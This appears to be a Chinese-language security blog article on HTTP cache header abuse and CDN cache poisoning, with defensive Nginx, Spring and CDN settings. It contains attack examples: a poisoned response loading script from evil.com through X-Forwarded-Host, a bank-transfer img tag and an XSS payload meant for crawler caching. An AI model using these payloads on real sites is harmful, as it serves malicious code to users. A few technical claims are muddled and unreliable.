HTTP缓存头滥用:CDN的黑暗面

HTTP缓存头滥用:CDN的黑暗面

1. 漏洞核心原理

HTTP缓存头滥用 是一种通过操纵缓存控制头(如Cache-ControlVary),诱导CDN或浏览器缓存敏感内容的攻击方式。当网站错误配置缓存策略时,可能导致:

  • 用户隐私数据被缓存到公开URL

  • 不同用户收到彼此缓存的敏感内容

  • 恶意内容被长期保留在缓存中

攻击三要素

  1. 可缓存的响应头配置(如public, max-age=3600

  2. 动态内容未正确标记为private/no-store

  3. CDN或浏览器未严格校验内容敏感性


2. 攻击类型与复现

(1) 敏感数据缓存泄露
GET /account/profile HTTP/1.1
Host: victim.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=600  # 错误配置
Content-Type: text/html

<user_private_data>

利用方式

  • 诱导用户访问后,攻击者访问相同URL获取缓存

(2) 缓存投毒(Cache Poisoning)
GET /?param=attacker_payload HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
Cache-Control: public
Vary: X-Forwarded-Host  # 危险用法
Content-Type: text/html

<script src="https://evil.com/malicious.js">

效果:所有访问/?param=*的用户加载恶意JS

(3) 浏览器缓存攻击
<!-- 恶意页面代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

特点:利用浏览器缓存自动携带认证Cookie

3. 自动化检测工具

工具 功能 示例命令
Burp Suite 扫描Cache-Control 被动扫描模式
param-miner 检测Vary头滥用 java -jar burp.jar --extender param-miner
curl测试 验证缓存行为 curl -I -H "X-Forwarded-Host: test" http://target

4. 企业级防御方案

(1) 缓存头安全配置
# 安全示范 - Nginx配置
location ~* \.(php|asp|jsp)$ {
    add_header Cache-Control "no-store, no-cache";
}

location /api/ {
    proxy_cache_bypass $cookie_auth_token;
    add_header Vary "Authorization";
}
(2) 代码层防护
// Spring安全示范
@GetMapping("/account")
public ResponseEntity<UserData> getAccount(
    @AuthenticationPrincipal User user) {
    return ResponseEntity.ok()
        .cacheControl(CacheControl.noStore())
        .body(userService.getData(user));
}
(3) CDN高级策略
厂商 安全配置
Cloudflare Page Rule: Cache Level = Bypass 敏感路径
AWS CloudFront 设置Forward Cookies = All
Akamai 启用Edge-Control: no-store

5. 历史漏洞案例

受影响系统 攻击方式 后果
某政府网站 缓存/admin页面到CDN 未授权访问后台
电商平台 利用Vary: User-Agent投毒移动端缓存 数百万用户收到恶意JS
API服务 缓存/users/me响应 用户数据交叉泄露

6. 渗透测试方法论

  1. 探测阶段

# 检查缓存头
curl -I https://target.com/account | grep -i "cache-control\|vary"
  1. 漏洞验证

    • 修改X-Forwarded-Host等头部观察缓存变化

    • 测试/profile.css等伪装路径

  2. 武器化利用

GET /?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1

--> 诱导Googlebot爬取以污染公共缓存

 

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容